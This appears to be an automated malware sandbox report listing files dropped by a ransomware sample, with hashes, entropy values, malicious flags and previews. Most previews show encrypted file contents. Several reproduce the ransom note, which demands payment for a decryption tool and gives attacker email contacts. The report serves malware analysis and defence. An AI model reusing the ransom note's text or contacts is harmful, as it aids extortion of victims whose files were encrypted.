                                                                                                                                                                Preview:$........R.}.2..6..^.....!.oY.P..NN.w...,\.8>.y..4)).....V..] ...3`b..C{.{.2w^[...ty..o....x..6[.a..*..d.....h...."3.,I}......~..-.Y.B..T6...c...*.y.y.D..4...."......7k...T..&..ps<.....T.....f....k.U~.p.?2...:j."...E..d.9....Z....O.L@.>....n...y.8...m......t..K7..HEKa.X.......v.A...7?.=j$f.E....,e..H.B.6.+..z....v...O.2...JZ2...A64X..1...3...[..u@.R..Y...n.%....V......cb.*.<...vE.U.....^..k.rq.6.$..5q..qaE.jO.d..I.`u..,..FT..P'O(...O..?wkou.....\zC..-..H......E......WOP.\......,..94U.~.(.G1.?.#._oY.9.8.j...Jl..4.,. @..v.[..(.t(.CV.?g..&r..vT%Si.&..q...9.6"..5....%...K.....L-J.$?a.PD.....fiQ.e.!@,$a..@..p.U...=x....2..;!I.......fa..S..;...a.2..........y.N..$..k:7.q....%N.<..`.PE..%..2p&r_Q..^.....r...~..&4xR.0.6..m....U...3..?Q...h~Q...P.<N.[.a.r..H..,j.....QV......\...J.y=d..........g..<....%......nm.A..C....,..kJ...-.W)..@\.S...EN..Yx+v.I....8.....4Q ..!..b.#.R.....(..8V.....B.-.yx.2..W+G..>..Y.r.U ....*../^I.7.n.....x.Q.=,..=
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.841830123779927
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YizKu1VNl9ASWQ46CbqbnsKOJy70UtigNF71zFGW09WEq4kxNMMkJx8Xxm:Pe09A9Q4LqLSMxigNHwvxqctJxa8
                                                                                                                                                                MD5:E87CC5FCCFDFE364B80D53EC22D657F7
                                                                                                                                                                SHA1:55E063112EB6893637FE2C9A6C7C764353DA7951
                                                                                                                                                                SHA-256:BAED544AE9B157C6CFD2BB25721B6085581B976F2FDED32452520A9D0B35E0D5
                                                                                                                                                                SHA-512:85E77D0195428C48887EDA350E4D9F9B09FA31E4906BC992003652F6461823B913B02E1164877BCA9B4174210E5879AEB034156FDC8C9E05E519BD59878DFB93
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:zn.;3....G.K...b....P,..F!.......H.l;...Td.G.).C..q...=$.Xs...|..M.0D.w..M6./...Q.....\...>..}.[..<GC_..e.@..S.B^..V.-D.M{wz...H....@m..Pp.]% ..Ui.Uf.....u(.z.,0...6r\@(9.)...-..g..........{elo.:.o2.r6....Q.m.KZ)?}...dmG.H.u.#...*.4....b.ng.R1|#bt..........f...i..d.2.h}.!.Y..YYr...P..j.....M.i#..P......N......5.EL...}.{..1..._...a.lp.\D2..Xq.k.l.y*...".....Q-.&.P.......g...&..../..BY..~..C...9..;o%w.t..U41.2.......:p.oqh.Yw']...0.,....{..sx@q...p.....V.r.oX.t...{.I.O.X.7.Q|....m..Qw..D......*s......dom.....^..UQH8.'...1p.....@e.....).i..;YN.M..-.....C.Kx...I..x.l..=z...<.m.."._RZ..j#W.a..7"Z.5........x...J.....[./J...1..G.].}.....)........Q^.A>t...o. E$%@>|Dr...,\.o.q../D.q..Aq{...{i.B.....m.5....,.6.N!8.I.....F"...h.;.._.K..6J.P.......I.u.<$.f..@.. UH.....d...d{.=..J...w.z..n..xe..M..Cx......e.....h...F8...I...e.."..uH..$.........k...{..RM/..r..=..i<..V.B.r...4.-~...,a9.;...........k ....=.j....._.......^P]..C.%nz..s.Kz...{..9..V......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.841830123779927
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YizKu1VNl9ASWQ46CbqbnsKOJy70UtigNF71zFGW09WEq4kxNMMkJx8Xxm:Pe09A9Q4LqLSMxigNHwvxqctJxa8
                                                                                                                                                                MD5:E87CC5FCCFDFE364B80D53EC22D657F7
                                                                                                                                                                SHA1:55E063112EB6893637FE2C9A6C7C764353DA7951
                                                                                                                                                                SHA-256:BAED544AE9B157C6CFD2BB25721B6085581B976F2FDED32452520A9D0B35E0D5
                                                                                                                                                                SHA-512:85E77D0195428C48887EDA350E4D9F9B09FA31E4906BC992003652F6461823B913B02E1164877BCA9B4174210E5879AEB034156FDC8C9E05E519BD59878DFB93
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:zn.;3....G.K...b....P,..F!.......H.l;...Td.G.).C..q...=$.Xs...|..M.0D.w..M6./...Q.....\...>..}.[..<GC_..e.@..S.B^..V.-D.M{wz...H....@m..Pp.]% ..Ui.Uf.....u(.z.,0...6r\@(9.)...-..g..........{elo.:.o2.r6....Q.m.KZ)?}...dmG.H.u.#...*.4....b.ng.R1|#bt..........f...i..d.2.h}.!.Y..YYr...P..j.....M.i#..P......N......5.EL...}.{..1..._...a.lp.\D2..Xq.k.l.y*...".....Q-.&.P.......g...&..../..BY..~..C...9..;o%w.t..U41.2.......:p.oqh.Yw']...0.,....{..sx@q...p.....V.r.oX.t...{.I.O.X.7.Q|....m..Qw..D......*s......dom.....^..UQH8.'...1p.....@e.....).i..;YN.M..-.....C.Kx...I..x.l..=z...<.m.."._RZ..j#W.a..7"Z.5........x...J.....[./J...1..G.].}.....)........Q^.A>t...o. E$%@>|Dr...,\.o.q../D.q..Aq{...{i.B.....m.5....,.6.N!8.I.....F"...h.;.._.K..6J.P.......I.u.<$.f..@.. UH.....d...d{.=..J...w.z..n..xe..M..Cx......e.....h...F8...I...e.."..uH..$.........k...{..RM/..r..=..i<..V.B.r...4.-~...,a9.;...........k ....=.j....._.......^P]..C.%nz..s.Kz...{..9..V......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8418803301386
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:S/E2Tp9pNGq8EnQxSm1QGVmmCpJEBcvwrg5d8hcRH:wEaTpNG74ItVVDavwKd8iH
                                                                                                                                                                MD5:CEADD59ADE64C16422471AD827439538
                                                                                                                                                                SHA1:A8CEA8F1BE28021B973A14D8367C720FDD19FFD5
                                                                                                                                                                SHA-256:2A163F2ED5CEA9D2C0E3E6F6321722E60E524CAE89EFDEB13A08E5B8E08EB748
                                                                                                                                                                SHA-512:93038E9987B572D6C7B3CB5F8D0E8BE8EFB28CC3B1EBBBC18D3BF622689EA016E599BFE0F4B85F469E4F130518BD8C84DEC069F785424CDE02E45C4303577AE1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.St...fb.....)..1..S.[%.Pvo.'.l.,......^E`.0.b..l.P..S.n..gu.Eu,.o..f..>.W..XV..qv....E.i.n..?..q$.2z_....d=.....<C..T.W.J0..t.......d...no.c.(.b..g..H(.!.......in........c...'..v.4*..c.,7.fE..o5.W...".....^..#.....N.L..jK,).^v.w.)......AJ.B.6...A.r.1.t.C........Ne..pX.3..35a....K.....b..C...r..A.V....FIO...a...g..q 8.H6.k\mC.L.....D;?..Q0.._.<...p..h...E...0.Y....@[.....'.d.%[.vV....q$...KQ....e..d.. .t..^...v..V.1.=kK......d^f6$Y..vo.u.?..-.D?.6W...\HMs...31..'..>.c.G..rX...:......P.9#..o.........\.g;`'-....7Dprf.9.Iga.z.J....v Tvb..U_P..'..}......-.B..Q....Z...H..'y+..fv..|....>...!..kM...1+.0.L>..9.......8...>t.fx00em...z./i.*....{2,.....b..n.wS|.D........[....q#.68.....&.&e.{.%...Ha.{.3..}+...#...&. h.n..{........T.|9.C.w@..CL?%.q6u#.T.O'kF..gJ]..P...RP.,.........mY.....1......z.%...1..=..R3HC....sr.N......$.....I..|Ye.?q..g......>*....r.......'.Jy.S. .x.....&...`.M.z@u.&_.v..X....\..!..Dt....Rx9..in..V.-..\p..In.U.D.....L...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8418803301386
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:S/E2Tp9pNGq8EnQxSm1QGVmmCpJEBcvwrg5d8hcRH:wEaTpNG74ItVVDavwKd8iH
                                                                                                                                                                MD5:CEADD59ADE64C16422471AD827439538
                                                                                                                                                                SHA1:A8CEA8F1BE28021B973A14D8367C720FDD19FFD5
                                                                                                                                                                SHA-256:2A163F2ED5CEA9D2C0E3E6F6321722E60E524CAE89EFDEB13A08E5B8E08EB748
                                                                                                                                                                SHA-512:93038E9987B572D6C7B3CB5F8D0E8BE8EFB28CC3B1EBBBC18D3BF622689EA016E599BFE0F4B85F469E4F130518BD8C84DEC069F785424CDE02E45C4303577AE1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.St...fb.....)..1..S.[%.Pvo.'.l.,......^E`.0.b..l.P..S.n..gu.Eu,.o..f..>.W..XV..qv....E.i.n..?..q$.2z_....d=.....<C..T.W.J0..t.......d...no.c.(.b..g..H(.!.......in........c...'..v.4*..c.,7.fE..o5.W...".....^..#.....N.L..jK,).^v.w.)......AJ.B.6...A.r.1.t.C........Ne..pX.3..35a....K.....b..C...r..A.V....FIO...a...g..q 8.H6.k\mC.L.....D;?..Q0.._.<...p..h...E...0.Y....@[.....'.d.%[.vV....q$...KQ....e..d.. .t..^...v..V.1.=kK......d^f6$Y..vo.u.?..-.D?.6W...\HMs...31..'..>.c.G..rX...:......P.9#..o.........\.g;`'-....7Dprf.9.Iga.z.J....v Tvb..U_P..'..}......-.B..Q....Z...H..'y+..fv..|....>...!..kM...1+.0.L>..9.......8...>t.fx00em...z./i.*....{2,.....b..n.wS|.D........[....q#.68.....&.&e.{.%...Ha.{.3..}+...#...&. h.n..{........T.|9.C.w@..CL?%.q6u#.T.O'kF..gJ]..P...RP.,.........mY.....1......z.%...1..=..R3HC....sr.N......$.....I..|Ye.?q..g......>*....r.......'.Jy.S. .x.....&...`.M.z@u.&_.v..X....\..!..Dt....Rx9..in..V.-..\p..In.U.D.....L...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.839902194255231
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qYYiHt2zpG/Oz3v9mbiJ/B2RIFgGjfR7L78lTSWwXgCw:qYnNVOh+iBBCI6sfJmVR
                                                                                                                                                                MD5:151929DAE5ADF05119C4B2581CD20EC5
                                                                                                                                                                SHA1:5FB8647F16C4AB847BC2FBDD66D893A7625CDD54
                                                                                                                                                                SHA-256:A6781451AB8B3C8A76B1263C25F1BDFE9A1D41B8A9657EB633E300B8CD230453
                                                                                                                                                                SHA-512:4DED8D3BCD92E9783BDCA0431CAE42EADC5D85FF0C1E065C677337EA673147F78FD7122DD23FAE2E89A446DEE6CCD88BA791CE72CB445B864F4E24CDFFA7451A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:H.8.g>..2...-..B.Q..Ru0"k..2".....T...1.....+,?.)9..2..F,........g..Z.;.7t.2.cK.P.h|-...w#~..c}..3.$.h...Q$P...HX3...m........s}Z?..k...V0....pl..P..v...V...<.....E#.........>..WM....2.....yV..s......Y..>sD.....i.U..........pU.vf..+..e...."..%.dS..m{.Pw3.9.......6........t...k.?...ryD:.....:..T........N5.v.H.7.2.2.W.wK.,1%Q.J..[cv...~...5..d.E.^..........*_.x.s..)k.g.~..L..pV..2..2t....'.x..=.N.l~o bU......;.......\...Q#.......VY...5....Y+.....4.?C.m.t.?.&~...j<.......%ROXt.%X8..$k...d.y.B...Dt....2^N.li...1....^.!..ASy.......Zdg....~..?o.]...}.8TK2).....d.p......f.pb.Z.C..g.% U....9C.R..~..N].'W|...m.Q....A...B....~l...)t9.*W......9....t....Dv.........l.E....Eu/...0.C.~H.CZ.n.....n.).$K..:Yg_2%|'S..S....c..0QE...Q......W)WQ.g.*.`.~J.D.j....;Q.Mug.).p...e.'.......V.-....+.Q.m..;..M..HB.T......[*W..e.I.Y.|(.m...S..C..N.+....<..8.Y.*r&N..-.roi.O/}..3.v.0D...N.@.8m.W..J.@.m.]..m..H...tknMx.L...O{.....J.X..E....w..dB.0.."./Y..H..g]m..._D..\s
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.839902194255231
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qYYiHt2zpG/Oz3v9mbiJ/B2RIFgGjfR7L78lTSWwXgCw:qYnNVOh+iBBCI6sfJmVR
                                                                                                                                                                MD5:151929DAE5ADF05119C4B2581CD20EC5
                                                                                                                                                                SHA1:5FB8647F16C4AB847BC2FBDD66D893A7625CDD54
                                                                                                                                                                SHA-256:A6781451AB8B3C8A76B1263C25F1BDFE9A1D41B8A9657EB633E300B8CD230453
                                                                                                                                                                SHA-512:4DED8D3BCD92E9783BDCA0431CAE42EADC5D85FF0C1E065C677337EA673147F78FD7122DD23FAE2E89A446DEE6CCD88BA791CE72CB445B864F4E24CDFFA7451A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:H.8.g>..2...-..B.Q..Ru0"k..2".....T...1.....+,?.)9..2..F,........g..Z.;.7t.2.cK.P.h|-...w#~..c}..3.$.h...Q$P...HX3...m........s}Z?..k...V0....pl..P..v...V...<.....E#.........>..WM....2.....yV..s......Y..>sD.....i.U..........pU.vf..+..e...."..%.dS..m{.Pw3.9.......6........t...k.?...ryD:.....:..T........N5.v.H.7.2.2.W.wK.,1%Q.J..[cv...~...5..d.E.^..........*_.x.s..)k.g.~..L..pV..2..2t....'.x..=.N.l~o bU......;.......\...Q#.......VY...5....Y+.....4.?C.m.t.?.&~...j<.......%ROXt.%X8..$k...d.y.B...Dt....2^N.li...1....^.!..ASy.......Zdg....~..?o.]...}.8TK2).....d.p......f.pb.Z.C..g.% U....9C.R..~..N].'W|...m.Q....A...B....~l...)t9.*W......9....t....Dv.........l.E....Eu/...0.C.~H.CZ.n.....n.).$K..:Yg_2%|'S..S....c..0QE...Q......W)WQ.g.*.`.~J.D.j....;Q.Mug.).p...e.'.......V.-....+.Q.m..;..M..HB.T......[*W..e.I.Y.|(.m...S..C..N.+....<..8.Y.*r&N..-.roi.O/}..3.v.0D...N.@.8m.W..J.@.m.]..m..H...tknMx.L...O{.....J.X..E....w..dB.0.."./Y..H..g]m..._D..\s
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.868664397512423
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kY1Vh3TP0NdCzF2BKUGE1w5zoGW6Om1R53dfV5g8/VWoh1DQzpw2qGx8t:kYrZPDB0yzm6DRNddVAkUW2qj
                                                                                                                                                                MD5:5BE7FCAAB798B372B9D30C17BE417DE0
                                                                                                                                                                SHA1:27F46F538AA465D1F8C6E2ADAB2500925C89547B
                                                                                                                                                                SHA-256:1DF364072646DECEB485F769E9CA529F2CBF8E828C5E657A99A4B7B66FB62C45
                                                                                                                                                                SHA-512:395F4B6074BA208C36ADB645F41296486035D491BABE28454AF6F20B055DB7EDEC1CD9FF3A10B6D9A2DFAFBCEE91DC98E44F7994B86C2FFC81B5257FD1C7FC52
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.\.D.T+z.w....e..\..3_&<u!.-...m^....v 5..y....O..-W.V.`.+..W...t....O.g.........b.........(.......\0...$..R.f.NJw.v..Q..v...C..X7.0..\....vK^z.1..:.S+..........C..D..@.....s..$.ay[...gp...].].1..9j..yS..+D......:.....j...e,bi....{T.(".~..6.*...i.h.sW........W......;.q..P.;..=.A_.dN...G}.k.(E..sW.q...)BV...2....)..m.*..$j.].g..el....>..].W{q{\.T.......V.yUn.....=;u..I.\.........7+.q(.......PJ.o..c./.%@..k.8......s..f...B...\.....v.`(..*:W&...:.n..w.m..f....?./.cG.......;......H. ..k..d..8..5Y..r...5....M!...N.E..;`...?6C..4.L.M.41.3.?.9.yQ...i..B..sk.lW.1.B..n.@@..x..h_.D.3C{..g.....'.Vs.i......B..K..~.X:[...u.P.B...z.....,"g.bEX..Z..u...;o.s.....#S...D..xhD.......cp......N..';.3q}.Dx..&..8~d.....U#xH..S.''....i+...\X........G.9.H.<.[.~.0...0.C.....XE#.8..x0..t..=.S...I..-`.L......-..#..).k;.[}A..Z.v...5x'....1.v..S=...P%.....rV.[....g....6.1..V..S.=0....B........D.......t....J..o.@.MH.Ms.../....,%(P....xo....x-.Z.4J..^....w.K..^i
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.868664397512423
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kY1Vh3TP0NdCzF2BKUGE1w5zoGW6Om1R53dfV5g8/VWoh1DQzpw2qGx8t:kYrZPDB0yzm6DRNddVAkUW2qj
                                                                                                                                                                MD5:5BE7FCAAB798B372B9D30C17BE417DE0
                                                                                                                                                                SHA1:27F46F538AA465D1F8C6E2ADAB2500925C89547B
                                                                                                                                                                SHA-256:1DF364072646DECEB485F769E9CA529F2CBF8E828C5E657A99A4B7B66FB62C45
                                                                                                                                                                SHA-512:395F4B6074BA208C36ADB645F41296486035D491BABE28454AF6F20B055DB7EDEC1CD9FF3A10B6D9A2DFAFBCEE91DC98E44F7994B86C2FFC81B5257FD1C7FC52
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.\.D.T+z.w....e..\..3_&<u!.-...m^....v 5..y....O..-W.V.`.+..W...t....O.g.........b.........(.......\0...$..R.f.NJw.v..Q..v...C..X7.0..\....vK^z.1..:.S+..........C..D..@.....s..$.ay[...gp...].].1..9j..yS..+D......:.....j...e,bi....{T.(".~..6.*...i.h.sW........W......;.q..P.;..=.A_.dN...G}.k.(E..sW.q...)BV...2....)..m.*..$j.].g..el....>..].W{q{\.T.......V.yUn.....=;u..I.\.........7+.q(.......PJ.o..c./.%@..k.8......s..f...B...\.....v.`(..*:W&...:.n..w.m..f....?./.cG.......;......H. ..k..d..8..5Y..r...5....M!...N.E..;`...?6C..4.L.M.41.3.?.9.yQ...i..B..sk.lW.1.B..n.@@..x..h_.D.3C{..g.....'.Vs.i......B..K..~.X:[...u.P.B...z.....,"g.bEX..Z..u...;o.s.....#S...D..xhD.......cp......N..';.3q}.Dx..&..8~d.....U#xH..S.''....i+...\X........G.9.H.<.[.~.0...0.C.....XE#.8..x0..t..=.S...I..-`.L......-..#..).k;.[}A..Z.v...5x'....1.v..S=...P%.....rV.[....g....6.1..V..S.=0....B........D.......t....J..o.@.MH.Ms.../....,%(P....xo....x-.Z.4J..^....w.K..^i
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.821198315715433
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:y4Ot5BrI55DHUXAd18NE09DsLfB8+6TElWmBD9ZbVd8J8tsM7XK7WZxt/3OQqU9P:CzB5Qy19DJ23bVC2CMzKiX/ei9
                                                                                                                                                                MD5:408DBF39D4175E1C02F595B66BB9F29E
                                                                                                                                                                SHA1:4CF47B7340B72F495667D690C952B0FB98314743
                                                                                                                                                                SHA-256:FC4317C2E0B878C3B6DE230565DEE8C489754F078E7E86B588426FA11D330773
                                                                                                                                                                SHA-512:213424EADD77A72C8D90DFB8B488A4AC1F11572ADD2366DB8E904E01761BE887DD3BFF7009EEFEBFFAC76058F2AD99EE0EB8F6CBE5BC3015F44D9B3EDC051680
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.u.N...7a..D[....Z=.:.:..D..\...S].y\.w@......k#E~h,.yR..\x(%..tqFq...M&1P..<.;.._1......dT1W.D..|...Q.@7....r..wH....i..vT.U..H..!.@ji.XL..0...A...j6Qe.qj.....B.Lq.....m..I.......M.'...B.V.K.l......*..9....VJ",e.sB.v..3......WA.....+..0....5.r..ba...aFu.#Zl.....V.n..L!......&....D...5>...*...n]a.>>..FB#...... K.Z*....O.;.9Ie...S .....,D.(..I............0+s4......v.P3......l.H.pRk.s....z...#....V`..u..q.s..".i......1,w.4...d,.)...j'..~.?.....G0H....9r..G.."m5.V3.-.%..P.;W..-,..cV....Y.....g.....R..mR...._E.'a...rx..|.s....h...la=S......}..HzqD.i.J.]...\.(..`..x.a\...o.hf......3S..I.[.....r...+..rv...Y|.......f.E..J....tq.;y......NV..Y%.HM7.}s9v}1.[.G.-.8e~.o....:.S(<..eZu...R...S...%.T...*..G.$.p...cU...J.{.SH@.JSZ3..T5p..p.p_G|........->.......1..."...F...2.....|.a3`..y..S$..Y.....|N..(M|..l.o..;3E6....`aazC=.r\wn.:........Z..F.f.(......._.M....J...?...V..!.v...M$.fG;..~..2....5..I.V...)Xk...+...'..EH..@...,.............,E.T.8
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.821198315715433
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:y4Ot5BrI55DHUXAd18NE09DsLfB8+6TElWmBD9ZbVd8J8tsM7XK7WZxt/3OQqU9P:CzB5Qy19DJ23bVC2CMzKiX/ei9
                                                                                                                                                                MD5:408DBF39D4175E1C02F595B66BB9F29E
                                                                                                                                                                SHA1:4CF47B7340B72F495667D690C952B0FB98314743
                                                                                                                                                                SHA-256:FC4317C2E0B878C3B6DE230565DEE8C489754F078E7E86B588426FA11D330773
                                                                                                                                                                SHA-512:213424EADD77A72C8D90DFB8B488A4AC1F11572ADD2366DB8E904E01761BE887DD3BFF7009EEFEBFFAC76058F2AD99EE0EB8F6CBE5BC3015F44D9B3EDC051680
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.u.N...7a..D[....Z=.:.:..D..\...S].y\.w@......k#E~h,.yR..\x(%..tqFq...M&1P..<.;.._1......dT1W.D..|...Q.@7....r..wH....i..vT.U..H..!.@ji.XL..0...A...j6Qe.qj.....B.Lq.....m..I.......M.'...B.V.K.l......*..9....VJ",e.sB.v..3......WA.....+..0....5.r..ba...aFu.#Zl.....V.n..L!......&....D...5>...*...n]a.>>..FB#...... K.Z*....O.;.9Ie...S .....,D.(..I............0+s4......v.P3......l.H.pRk.s....z...#....V`..u..q.s..".i......1,w.4...d,.)...j'..~.?.....G0H....9r..G.."m5.V3.-.%..P.;W..-,..cV....Y.....g.....R..mR...._E.'a...rx..|.s....h...la=S......}..HzqD.i.J.]...\.(..`..x.a\...o.hf......3S..I.[.....r...+..rv...Y|.......f.E..J....tq.;y......NV..Y%.HM7.}s9v}1.[.G.-.8e~.o....:.S(<..eZu...R...S...%.T...*..G.$.p...cU...J.{.SH@.JSZ3..T5p..p.p_G|........->.......1..."...F...2.....|.a3`..y..S$..Y.....|N..(M|..l.o..;3E6....`aazC=.r\wn.:........Z..F.f.(......._.M....J...?...V..!.v...M$.fG;..~..2....5..I.V...)Xk...+...'..EH..@...,.............,E.T.8
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.846774309703875
